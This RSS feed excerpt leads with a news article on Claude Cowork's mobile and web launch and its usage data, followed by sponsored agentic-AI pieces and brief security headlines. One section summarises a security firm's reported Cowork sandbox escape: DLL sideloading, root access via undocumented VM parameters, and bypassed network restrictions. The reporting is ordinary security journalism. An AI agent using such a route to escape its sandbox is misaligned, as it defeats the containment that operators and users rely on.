<guid isPermaLink="true">https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</guid>
<pubDate>Tue, 07 Jul 2026 20:03:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> on Tuesday launched <a href="https://claude.com/blog/cowork-web-mobile/">Claude Cowork on mobile and web</a>, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.</p><p>The rollout, which begins in beta with <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Max subscribers</a> before expanding to additional plans, marks a strategic inflection for Anthropic. It transforms Cowork from a desktop-only agent into a cross-device platform where tasks can start on a laptop, continue autonomously in the background, and be reviewed from a phone — even after the user closes the app entirely.</p><p>"Your work goes everywhere with you, and keeps going without you," Anthropic writes in its announcement.</p><p>The timing is deliberate. Alongside the mobile launch, Anthropic published usage data from 1.2 million anonymized Claude Cowork sessions sampled between May 11 and May 31, drawn from more than 600,000 organizations. The data paints a striking picture: the overwhelming majority of what people do with Cowork has nothing to do with writing software.</p><div></div><h2><b>The biggest AI story nobody's talking about</b></h2><p>The numbers tell a story that cuts against the dominant narrative in enterprise AI, which has fixated on coding assistants and developer productivity as the primary use case for large language models.</p><p>Business process and operations — tasks like pulling scattered updates into a single report, building onboarding checklists, and reconciling spreadsheets — accounted for 33.4% of all sampled Cowork sessions, making it the single largest category by a wide margin. Content creation and copywriting — producing drafts, slide decks, posts, and proposals — came in second at 16.4%.</p><p>Together, those two categories make up roughly half of all Claude Cowork usage. Software development, by contrast, accounted for just 8.7%. DevOps and infrastructure followed at 7%, with research and intelligence at 6.4%, data analysis and business intelligence at 5.8%, document processing and extraction at 4.1%, and sales and revenue operations at 4%.</p><p>The remaining 12 categories each represented less than 4% of usage, including personal assistance at 3.8%, education at 2.4%, and meeting intelligence at 1.8%.</p><p>Anthropic describes these dominant use cases as "the work around the work" — tasks that span nearly every role in an organization but rarely appear in anyone's core job description. "People are using it for a variety of tasks that aren't necessarily the hallmark of a specific role, but instead represent the connective work around a role that moves projects forward and keeps businesses running," the company writes. "That means tasks like drafting a status update, building a slide deck, or condensing reams of research into a single report."</p><p>That phrase — "the work around the work" — is Anthropic's attempt to define and claim an entirely new category of AI productivity. It's a calculated reframing: rather than positioning AI as a tool that replaces what professionals do, Anthropic is arguing that the most valuable current application is handling everything professionals do around their actual expertise.</p><h2><b>What mobile access changes — and what it doesn't</b></h2><p>The <a href="https://claude.com/blog/cowork-web-mobile/">expansion to mobile and web</a> introduces three concrete capabilities that reflect how Anthropic envisions Cowork fitting into daily workflows.</p><p>First, sessions now sync across devices. A user can start a task at their desk, check on its progress from a phone, and retrieve the finished output from any device. Second — and arguably more significant — Cowork can now run tasks in the background with no device online at all. Users can schedule work for a specific time, and Claude will execute it autonomously. Anthropic offers the example of setting Monday morning client prep for 6 a.m.: "Claude works through the email threads, transcripts, and recent news, builds the briefing doc, and leaves the follow-up email drafted but unsent. Review it over coffee."</p><p>Third, when Claude encounters a decision that requires human judgment, it surfaces the question to the user's phone. "Nothing ships until you've reviewed and approved it," Anthropic states.</p><p>Desktop remains the most fully featured surface, with access to local files and the browser. But the web version also opens Cowork to users who cannot install a desktop application — a meaningful expansion in enterprise environments where IT departments control software installation.</p><p>The company also unified its interface: on web and desktop, chat and Cowork now share a single home screen, and projects and artifacts persist across both modes.</p><p>To encourage adoption, Anthropic is extending doubled Cowork usage limits through August 5.</p><h2><b>The strategic logic: why Anthropic is chasing the non-developer</b></h2><p>The usage data and the mobile launch together reveal a company executing a two-track strategy. <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, its terminal-based coding agent, dominates among software developers. But Cowork is designed to capture the vastly larger population of professionals whose work involves creating, organizing, and communicating information rather than writing code.</p><p>The contrast between the two products is instructive. As Anthropic notes, Claude Code "is most often used by software developers for the key parts of their role: building, debugging, and shipping code." When developers do use <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a>, they tend to use it not for programming but for the communications-focused work that surrounds every role — status updates, documentation, and coordination.</p><p>This pattern — where AI handles the connective tissue of work rather than its core substance — aligns with what Anthropic describes as people using "Claude Cowork to assemble and structure the information they can use to act on their expertise." The company illustrates this with three examples: a lawyer using Cowork for document formatting and filing while reserving legal judgment for themselves, a hiring manager synthesizing interview feedback while spending more time on candidate conversations, and a team lead producing a slide deck that explains a decision while focusing on actually making that decision.</p><p>The implications for Anthropic's business model are significant. Developer-focused tools, while high-profile, serve a relatively narrow market. The <a href="https://ramp.com/data/ai-index">Ramp AI Index</a> published in May showed Anthropic pulling ahead of OpenAI in business adoption for the first time — with 34.4% of firms paying for Anthropic's services compared to OpenAI's 32.3% — and suggests the company's enterprise push is gaining traction. Claude Code was identified as the primary driver of that shift. But Cowork targets an addressable market that is orders of magnitude larger: every knowledge worker with a laptop, a pile of spreadsheets, and a slide deck due by Friday.</p><h2><b>A crowded field gets more competitive</b></h2><p>The mobile launch arrives during one of Anthropic's busiest — and most turbulent — stretches in its history. </p><p>Just last week, Anthropic launched <a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a>, a new model that narrows the performance gap with its more expensive Opus-class models while maintaining lower pricing. The model is available at introductory pricing of $2 per million input tokens through August 31 before rising to $3 per million input tokens. Sonnet 5 serves as the engine underneath Cowork, and its improved agentic capabilities — better reasoning, tool use, and sustained task completion — directly enhance Cowork's ability to handle complex, multi-step workflows.</p><p>Two weeks before that, Anthropic released <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Claude Tag</a>, a Slack-native AI agent designed for team collaboration. Where Cowork focuses on individual task delegation, Claude Tag operates as a multiplayer tool — a single Claude identity that everyone in a Slack channel can interact with, building context from conversations over time. </p><p>According to Anthropic's announcement, 65% of the company's own product team's code is created by its internal version of Claude Tag. <a href="https://fortune.com/2026/06/23/anthropic-claude-tag-virtual-employee-tool-slack/">Fortune reported</a> that Anthropic's head of product for Claude Code and Cowork, Cat Wu, described the distinction: "Claude Code, Cowork, and chat are very single-player, whereas Claude Tag is built to be interactive and multiplayer."</p><p>Together, <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> and <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a> represent a pincer strategy: Cowork captures individual productivity workflows across devices, while Claude Tag embeds AI into team communication channels. Both are designed to push Anthropic deeper into enterprise operations, beyond the developer seat.</p><h2><b>The security question looms</b></h2><p>The expansion also arrives against a backdrop of unresolved security concerns. On July 1, security firm Armadin — led by Mandiant founder Kevin Mandia — published research detailing what it described as a full sandbox escape in Claude Cowork on Windows, as reported by <a href="https://siliconangle.com/2026/07/01/armadin-details-full-sandbox-escape-claude-cowork-anthropic-disputes-risk/">SiliconANGLE</a>. The attack chain involved DLL sideloading against the Claude desktop executable to gain trusted access to Cowork's virtual machine service, then exploiting undocumented parameters to achieve root access and bypass network restrictions.</p><p>Anthropic responded that the vulnerability did not qualify as a security issue because exploiting it requires an attacker to already have local code execution on the host machine. Armadin, however, raised a broader concern: that deploying local virtual machines on nontechnical users' systems creates visibility gaps that endpoint security products struggle to monitor.</p><p>This tension takes on new dimensions as Cowork moves to mobile and web. The web and mobile versions run tasks server-side rather than in a local virtual machine, which eliminates the specific attack surface Armadin identified but introduces different questions about data handling, especially for scheduled background tasks that process email threads, calendar data, and documents without real-time user oversight.</p><p>Anthropic's announcement states that "<a href="https://claude.com/blog/cowork-web-mobile/">the decisions still come to you</a>" and that nothing ships without review and approval. But as Cowork takes on increasingly complex autonomous workflows — processing contract folders, building client briefings from multiple data sources, drafting emails — the surface area for prompt injection and data exposure grows correspondingly. </p><p>When Cowork first launched in January, TechCrunch reported that Anthropic <a href="https://techcrunch.com/2026/01/12/anthropics-new-cowork-tool-offers-claude-code-without-the-code/">explicitly warned</a> about prompt injection risks, noting in its blog post: "These risks aren't new with Cowork, but it might be the first time you're using a more advanced tool that moves beyond a simple conversation."</p><h2><b>As Anthropic courts enterprises, geopolitics complicates the pitch</b></h2><p>Anthropic's enterprise push is also colliding with geopolitical reality. CNBC reported Monday that <a href="https://www.cnbc.com/2026/07/06/alibaba-anthropic-ai-ban-claude-china.html#:~:text=Alibaba%20will%20ban%20employees%20from%20using%20Anthropic%20's%20artificial%20intelligence,risks%2C%20CNBC%20confirmed%20on%20Monday.">Alibaba will ban employees from using Anthropic's AI tools</a> starting July 10, placing Claude Code on a high-risk software list. The move followed Anthropic's June letter to the U.S. Senate accusing Alibaba of carrying out what it called "<a href="https://www.reuters.com/world/china/anthropic-says-alibaba-illicitly-extracted-claude-ai-model-capabilities-2026-06-24/">the largest known distillation attack</a>" against its models.</p><p>The Alibaba ban, combined with reports that Anthropic is closing loopholes that allowed Chinese companies to access Claude through third-country entities, underscores the increasingly fraught environment for AI companies attempting to serve global enterprise customers while navigating U.S. export and security restrictions.</p><p>At the same time, Anthropic is investing massively in infrastructure. Reuters reported Monday that <a href="https://www.reuters.com/business/terawulf-jumps-19-billion-data-center-lease-deal-with-anthropic-2026-07-06/">Anthropic signed a $19 billion, 20-year lease with TeraWulf for a data center</a> being built in Hawesville, Kentucky, with 401 megawatts of computing power expected to become fully operational in 2028.</p><p>That kind of capital commitment only makes sense if the company expects enterprise demand — not just from developers, but from the millions of knowledge workers that Cowork targets — to grow dramatically.</p><h2><b>Anthropic's own usage report comes with notable blind spots</b></h2><p>Anthropic is transparent about the limitations of its usage analysis. The taxonomy classifies sessions by the type of work being performed, not by the job title of the person doing it. </p><p>There are no standalone categories for marketing, finance, or HR — functions that are likely absorbed into the dominant "business process and operations" bucket, which may partly explain why that category commands a third of all usage.</p><p>The sample is also rate-capped rather than proportional to traffic, meaning the numbers are shares of sampled sessions, not absolute volumes. Usage during peak hours is somewhat underrepresented. And roughly 5% of sampled sessions involved personal, non-work use — hobbies, personal assistance, and companionship-style conversations — meaning the data doesn't purely reflect workplace activity.</p><p>The company also acknowledged that its labeling pipeline changed around May 11, which is why the analysis window begins on that date rather than covering a longer period.</p><h2><b>What Cowork's rise says about the future of enterprise AI</b></h2><p>Anthropic's <a href="https://claude.com/blog/cowork-web-mobile/">mobile launch</a> and usage data arrive at a moment when the enterprise AI market is shifting from proof of concept to proof of value. The question facing every company deploying AI tools is no longer whether the technology works — but whether it delivers measurable productivity gains across an organization, not just within engineering teams.</p><p>The usage data suggests that the answer, at least for Cowork, is emerging in an unexpected place. It's not in the glamorous work of building software or conducting research. It's in the unglamorous, universal labor of turning messy information into structured outputs that move organizations forward — the status reports, the onboarding checklists, the variance memos, the client decks.</p><p>By untethering that capability from the desktop and making it available on every device, Anthropic is betting that the most valuable AI agent isn't the one that writes code. It's the one that handles everything else.</p><p>
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<title><![CDATA[Build a unified semantic layer across datasets with multi-dataset Topics in Amazon Quick]]></title>
<description><![CDATA[In this post, we walk through how multi-dataset Topics work, explain how the chat agent uses defined relationships to generate cross-dataset queries, and demonstrate an end-to-end implementation using a retail analytics scenario in Quick Sight.]]></description>
<link>https://tsecurity.de/de/3652329/ai-nachrichten/build-a-unified-semantic-layer-across-datasets-with-multi-dataset-topics-in-amazon-quick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652329/ai-nachrichten/build-a-unified-semantic-layer-across-datasets-with-multi-dataset-topics-in-amazon-quick/</guid>
<pubDate>Tue, 07 Jul 2026 19:19:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we walk through how multi-dataset Topics work, explain how the chat agent uses defined relationships to generate cross-dataset queries, and demonstrate an end-to-end implementation using a retail analytics scenario in Quick Sight.]]></content:encoded>
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<title><![CDATA[Build for the new AI era with Microsoft and NVIDIA]]></title>
<description><![CDATA[Presented by Microsoft and NVIDIAEvery generation of leaders has its own business transformation challenges to face. A decade ago, modernization meant cloud migration. Five years ago, it meant enabling remote and hybrid work. And just a few short years ago, the generative AI boom prompted organiz...]]></description>
<link>https://tsecurity.de/de/3652103/it-nachrichten/build-for-the-new-ai-era-with-microsoft-and-nvidia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652103/it-nachrichten/build-for-the-new-ai-era-with-microsoft-and-nvidia/</guid>
<pubDate>Tue, 07 Jul 2026 18:18:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Microsoft and NVIDIA</i></p><hr><p>Every generation of leaders has its own business transformation challenges to face. A decade ago, modernization meant cloud migration. Five years ago, it meant enabling remote and hybrid work. And just a few short years ago, the generative AI boom prompted organizations globally into enterprise AI adoption.</p><h2>The demo era is ending</h2><p>In the years since AI became the big new buzzword, generative models proved to be a crucial stepping stone, but the path to Frontier Transformation is agentic AI. Machine-generated answers aren’t enough when what the business really needs is sophisticated AI that can <i>act</i>. Experimenting with agentic capabilities was a necessary step; prototypes and pilots have proliferated. But the chapter on demos is closing. </p><p>Scale acceleration is beginning. In 2026, organizations that want to see agentic results that impact the bottom line must move from the knowledge layer to the action layer. And they certainly intend to—according to <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s 2026 AI report</a>, 54% of enterprises surveyed expect to move 40% or more of their AI experiments into production. How hard could it be?</p><h2>Agents are a different engineering problem—here’s why</h2><p>Moving past prototype is the hardest part. Shipping an agent to production isn’t just a harder version of shipping a generative AI chatbot. Agentic production is a different engineering problem altogether, requiring orchestration, memory, runtime isolation, and ground-up observability—all required to deliver an agent that reasons, acts, and collaborates.</p><p>Once an agent moves into production, every tool and data source becomes an integration challenge. Running the agent requires isolation between sessions, durable state, and runtimes that hold up under a working load. And operational blindness turns agentic assets into liabilities. Once an agent is live, you need the ability to monitor, understand, and troubleshoot its systems across its lifecycle—a whole new discipline of observability is required, but teams don’t know how to get there. But we’ve been here before. When microservices faced a similar crossroads a decade ago, the lesson was this: those who recognized the need for a platform approach are the ones with the best success.</p><h2>The production gap: Why most agent projects stall before scale</h2><p>Moving from demos to real-world deployment introduces a host of challenges: how to chain multiple steps together reliably, how to ensure security and identity across agent components, how to monitor and improve agent behavior, and more. Many teams attempt to address these challenges with custom scaffolding, but the risk is often greater than the reward—slower time to value, gaps, and unreliability.</p><p>This is where the platform approach comes in. Without shared context and intrinsic trust, AI is difficult to rely on and hard to scale, with data fragmentation keeping production agents from matching pilot performance. Agents lack business context, enterprise signals are fragmented, development is complex and brittle, and security and governance are bolted on.</p><p>The solution is a unified platform that empowers developers to build, run, and scale agentic and physical AI end-to-end. Together, Microsoft and NVIDIA partner to enable this platform approach, helping enterprises effectively take agents from pilot to production.</p><h2>What an agent factory actually looks like</h2><p>Frontier Firms are those that not only successfully take agents into production but that also understand monolithic agents aren’t enough—a <i>system</i> of collaborative agents is key. They are the ones building agent factories, operating on a production philosophy that utilizes a reliable foundation and repeatable process for cross-functional, collaborative agentic solutions at enterprise scale.</p><p>So what is an agent factory? It’s a coordinated production architecture that combines an agentic control plane with accelerated specialist models, agents, and skills, allowing organizations to enable a governed system of models and agents at enterprise scale.</p><p>Within this production system, Frontier Firms are building heterogenous systems of agents, where the right models, tools, skills, and specialist agents are appropriately orchestrated at the right step of every job. The result is broad-reasoning frontier agents that plan, synthesize, and collaborate with users and other agents while accelerated specialist models and agents execute domain-specific work with speed and efficiency. </p><p>Microsoft and NVIDIA jointly empower this agentic factory approach. Microsoft delivers the enterprise control plane enabling runtime, identity, governance, observability, data access, and tool connectivity that agents need to collaborate safely. NVIDIA delivers the intelligence, acceleration, and specialist layers that give enterprises a repeatable way to move from isolated demos to governed, scalable agentic systems that can work together across business processes to accomplish meaningful tasks, not just answer questions.</p><p>At<b> Microsoft Build 2026</b>, <a href="https://aka.ms/Build-Blog-VB-Article">Microsoft and NVIDIA showed how this architecture is coming together across cloud, local, and developer environments, </a>bringing NVIDIA models, blueprints, and tooling into the Microsoft ecosystem to enable systems of agents with governance and speed:</p><ul><li><p>NVIDIA models are now on the hosted agents in Foundry Agent Service.</p></li><li><p>NVIDIA’s open model portfolio on Foundry now spans agentic, physical, and scientific AI.</p></li><li><p>NVIDIA Agent Toolkit and NVIDIA NemoClaw blueprints give developers an open-source platform to build production agents on Foundry.</p></li><li><p>Foundry Local on Azure Local is now on the NVIDIA RTX PRO 6000 Blackwell Server Edition platform.</p></li><li><p>NVIDIA OpenShell integrates with GitHub Copilot for secure agent development.</p></li></ul><p>You can read more about these announcements <a href="https://blogs.nvidia.com/blog/microsoft-build-windows-local-cloud-devices/">here</a>.</p><h2><b>Where to go from here</b></h2><p>The organizations that win with agentic AI will be the ones that invest in a factory approach. Ready to take the next step on your agentic journey? Explore these resources:</p><ul><li><p>Dive deeper into the <a href="https://www.microsoft.com/en-us/ai/agent-factory?utm_source=chatgpt.com">Microsoft Agent Factory</a>—read the <a href="https://azure.microsoft.com/en-us/blog/tag/agent-factory/">Agent Factory blog series</a>.</p></li><li><p>See how developers accelerate AI deployment with <a href="https://www.nvidia.com/en-us/ai-data-science/products/nim-microservices/?utm_source=chatgpt.com">NVIDIA NIM</a> microservices for high-performance AI. </p></li><li><p>Learn more about Microsoft and NVIDIA’s latest developments for success with agentic AI—read the <a href="https://aka.ms/Build-Blog-VB-Article">announcements from Microsoft Build 2026</a>.</p></li><li><p>See how <a href="https://www.nvidia.com/en-us/ai-data-science/products/nim-microservices/?utm_source=chatgpt.com">NVIDIA Nemotron 3 Ultra</a> powers faster, more efficient reasoning for long-running agents.</p></li><li><p>To discuss your Microsoft Foundry needs or learn more, <a href="https://ai.azure.com/catalog/publishers/nvidia,nvidia-ai">contact us here</a>.</p></li></ul><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Digital-native startups are ditching rigid databases for their agentic stacks     ]]></title>
<description><![CDATA[Presented by MongoDBThe gap between what AI models and agents can produce and what legacy infrastructure can reliably support is known as architectural drag, and it is the defining bottleneck of the agentic era. The data layer underneath an agentic system must handle variable schemas, vector embe...]]></description>
<link>https://tsecurity.de/de/3652101/it-nachrichten/digital-native-startups-are-ditching-rigid-databases-for-their-agentic-stacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652101/it-nachrichten/digital-native-startups-are-ditching-rigid-databases-for-their-agentic-stacks/</guid>
<pubDate>Tue, 07 Jul 2026 18:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by MongoDB</i></p><hr><p>The gap between what AI models and agents can produce and what legacy infrastructure can reliably support is known as architectural drag, and it is the defining bottleneck of the agentic era. </p><p>The data layer underneath an agentic system must handle variable schemas, vector embeddings, real-time retrieval, and multi-tenant scale, often simultaneously and without human intervention to manage migrations — but traditional relational databases weren't natively designed for document flexibility or AI capabilities. Fixed schemas require manual updates every time an AI agent introduces a new data shape, while separate vector databases add latency and synchronization overhead.</p><p>Three digital-native startups — Huntr, Modelence, and Tavily — solved this problem the same way: by building on MongoDB Atlas, a unified database platform with native vector search, hybrid search, and managed autoscaling. Their experiences define what an agent-native data stack looks like in production, and why using Atlas enables developers to easily build complex AI native companies.</p><h2>Modelence: Building the agent-native cloud</h2><p>Modelence is an AI app builder with an open-source framework designed specifically for agent-native development, enabling anyone to build and deploy production-ready web applications, including APIs and databases, in minutes. The company recognized early that most backend infrastructure was built for humans, not AI, and that the rigid schema management and complex migrations of traditional systems create operational drag that causes agents to fail when trying to build production-ready apps.</p><p>“Choosing MongoDB helped us keep everything in a single place, which is an important property of what we strive to do for our own users," says Aram Shatakhtsyan, co-founder and CEO of Modelence. "Live data streams, vector search, all as part of the main database. For AI agents, it’s especially important to have a single platform where everything can be done, because connecting multiple platforms together makes it more error prone.”</p><p>Modelence standardized on MongoDB Atlas because its document model aligns with how AI agents process and generate data, allowing schemas to evolve rapidly without manual migrations. The platform pairs that flexibility with a typed schema layer on top, a deliberate architectural decision. </p><p>“MongoDB’s document model enables us to both keep things simple and at the same time decide how structured we want everything to be," Shatakhtsyan says. We still add a typed schema on top, which tremendously improves the accuracy at which AI can generate fully working, reliable web apps."</p><p>The TypeScript integration has been especially consequential, he adds. </p><p>“Because MongoDB types and values can be directly translated to TypeScript, it becomes an extension of the Modelence framework and our App Builder has a single source of truth for both app logic and database,” Shatakhtsyan explains.</p><p>The result is a platform that can move from planning to a running live feature in minutes with significantly fewer regressions. That speed and reliability helped Modelence raise $3 million in seed funding and successfully launch an AI-native app builder that handles the entire application lifecycle end-to-end.</p><h2>Tavily: The web access layer for agents     </h2><p>Tavily is the search API purpose-built for AI agents, connecting them to real-time, accurate web knowledge and keeping them grounded in what's actually happening, not in static training data. At Tavily's scale, every agent request authenticates, retrieves, and meters without friction. That demanded backend infrastructure built to absorb change without breaking.</p><p>“On the user side, every agent request authenticates and meters against it," says Tomer Weiss, Data Team Lead at Tavily. "On the data side, we use it to track the lifecycle of every document we’ve ever touched: when it was fetched, how stale it is, what the freshness signals were and how popular it is. MongoDB’s flexible schema let us keep evolving those records without migrations as new metrics and features came along.”</p><p>That living record is what keeps agents grounded in reality. Multi-tenancy at Tavily's scale means managing millions of API keys, distinct usage profiles, plan tiers, and regional residency requirements. They built for that complexity from day one. </p><p>“We separated concerns across clusters early: a user/account cluster optimized for low-latency authentication and usage writes, and a sharded cluster for document state where the scaling axis is URLs, not users," Weiss explains. "That separation has paid off.”</p><p>The most critical lesson is about choosing infrastructure that doesn’t punish change, and that flexibility compounds, he says. </p><p>"The AI space moves so fast that change is our norm," he explains.  "For a company serving AI agents, where the workloads themselves keep changing shape, choosing a data platform that doesn’t punish change has turned out to be more valuable than any single feature.”
</p><h2>Huntr: From job tracker to AI career platform</h2><p>Huntr.co, an AI resume building and tailoring platform, helps more than 500,000 job seekers across 190 countries craft stronger applications and manage their search. For a lean, three-person engineering team, the challenge was finding a data foundation flexible enough to store the full complexity of a person’s career history in a structure that AI could read, reason about, and generate from natively.</p><p>“The kinds of career data we are gathering at Huntr naturally aligns with MongoDB’s document model," says Trevor McCann, senior software engineer at Huntr. "The core problem we’re solving with AI job search tools is how to surface the qualities of a candidate that make them unique. We need to be ready to store whatever kinds of data the candidate wants to include in their materials.”</p><p>Huntr built its AI Resume Builder on MongoDB Atlas, where the document model mirrors the natural shape of career data: deeply nested, variable across candidates, and constantly evolving as the platform ships new features. MongoDB Search on Atlas handles core search needs while MongoDB Vector Search powers the <a href="https://huntr.co/product/resume-tailor"><u>Job Tailoring</u></a> feature, which puts a candidate’s stored career profile side by side a specific job description and uses semantic matching to generate a resume optimized for that role.</p><p>The integrated capabilities have had a direct impact on how quickly the team can ship, McCann says. </p><p>“MongoDB’s hybrid search allows us to seamlessly query across literal and semantic text matches, a must-have when working with such diverse data,” McCann says. “This is something we could piece together using other solutions but with MongoDB it’s ready to go on top of our existing data layer.”
The consolidation of database, search, and vector capabilities into a single platform is what allows the team to punch above its weight. Huntr considers MongoDB the fourth member of its engineering team, McCann adds. </p><p>Looking ahead, the platform is building toward AI that learns from a candidate’s full professional history over time, delivering more personalized guidance with every interaction.</p><h2>The digital native blueprint</h2><p>These success stories become a definitive "digital native blueprint" for the agentic era, built on three core pillars. First, by unifying database, search, and vector storage into a single platform, these startups have effectively eliminated the architectural tax of complex data schemas that typically slows down development. This consolidation enables a level of fluidity that is now non-negotiable; AI agents require a modern data platform that can adapt as quickly as a natural language prompt evolves. </p><p>The winners of the AI era will be the ones who build the most performant, durable, and flexible systems to support those models in production. As agentic workflows grow more sophisticated, the data foundation determines how fast a team can ship, how reliably agents can operate, and how quickly the platform can adapt when the landscape shifts again. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i>
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<title><![CDATA[Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang]]></title>
<description><![CDATA[Group-IB analysis argued Scattered Spider is a decentralized collective of independent clusters This article has been indexed from www.infosecurity-magazine.com Read the original article: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang
Read more →
The post Scatt...]]></description>
<link>https://tsecurity.de/de/3651841/it-security-nachrichten/scattered-spiders-structure-more-like-a-cybercrime-collective-than-a-unified-gang/</link>
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<pubDate>Tue, 07 Jul 2026 16:23:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Group-IB analysis argued Scattered Spider is a decentralized collective of independent clusters This article has been indexed from www.infosecurity-magazine.com Read the original article: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/scattered-spiders-structure-more-like-a-cybercrime-collective-than-a-unified-gang/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/scattered-spiders-structure-more-like-a-cybercrime-collective-than-a-unified-gang/">Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[How Unified Policies Close Security Gaps]]></title>
<description><![CDATA[As organizations adopt both on-premises firewalls and cloud-delivered SASE, security becomes more distributed and complex. Users connect from headquarters, branch offices, and remote locations, expecting the same secure and seamless internet experience everywhere. When Internet Access policies ac...]]></description>
<link>https://tsecurity.de/de/3651830/it-security-nachrichten/how-unified-policies-close-security-gaps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651830/it-security-nachrichten/how-unified-policies-close-security-gaps/</guid>
<pubDate>Tue, 07 Jul 2026 16:23:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As organizations adopt both on-premises firewalls and cloud-delivered SASE, security becomes more distributed and complex. Users connect from headquarters, branch offices, and remote locations, expecting the same secure and seamless internet experience everywhere. When Internet Access policies across firewalls and SASE…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-unified-policies-close-security-gaps/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-unified-policies-close-security-gaps/">How Unified Policies Close Security Gaps</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Barracuda adds PAM and identity protection with Evo Security acquisition]]></title>
<description><![CDATA[Barracuda Networks has acquired Evo Security. The acquisition expands the BarracudaONE platform’s identity security capabilities by adding privileged access management (PAM), access control, identity protection, and identity threat detection and response. By combining Evo Security’s identity solu...]]></description>
<link>https://tsecurity.de/de/3651790/it-security-nachrichten/barracuda-adds-pam-and-identity-protection-with-evo-security-acquisition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651790/it-security-nachrichten/barracuda-adds-pam-and-identity-protection-with-evo-security-acquisition/</guid>
<pubDate>Tue, 07 Jul 2026 16:10:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Barracuda Networks has acquired Evo Security. The acquisition expands the BarracudaONE platform’s identity security capabilities by adding privileged access management (PAM), access control, identity protection, and identity threat detection and response. By combining Evo Security’s identity solutions with Barracuda’s existing identity-driven controls, BarracudaONE delivers a unified, end-to-end identity security architecture through a single platform, precisely as global IAM investment surges with double-digit year-over-year growth, according to leading industry analysts. This integrated approach gives partners one … <a href="https://www.helpnetsecurity.com/2026/07/07/barracuda-evo-security-acquisition/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/07/barracuda-evo-security-acquisition/">Barracuda adds PAM and identity protection with Evo Security acquisition</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang]]></title>
<description><![CDATA[Group-IB analysis argued Scattered Spider is a decentralized collective of independent clusters]]></description>
<link>https://tsecurity.de/de/3651788/it-security-nachrichten/scattered-spiders-structure-more-like-a-cybercrime-collective-than-a-unified-gang/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651788/it-security-nachrichten/scattered-spiders-structure-more-like-a-cybercrime-collective-than-a-unified-gang/</guid>
<pubDate>Tue, 07 Jul 2026 16:10:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Group-IB analysis argued Scattered Spider is a decentralized collective of independent clusters]]></content:encoded>
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<title><![CDATA[How Unified Policies Close Security Gaps]]></title>
<description><![CDATA[As organizations adopt both on-premises firewalls and cloud-delivered SASE, security becomes more distributed and complex. Users connect from headquarters, branch offices, and remote locations, expecting the same secure and seamless internet experience everywhere. When Internet Access policies ac...]]></description>
<link>https://tsecurity.de/de/3651736/it-security-nachrichten/how-unified-policies-close-security-gaps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651736/it-security-nachrichten/how-unified-policies-close-security-gaps/</guid>
<pubDate>Tue, 07 Jul 2026 15:51:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
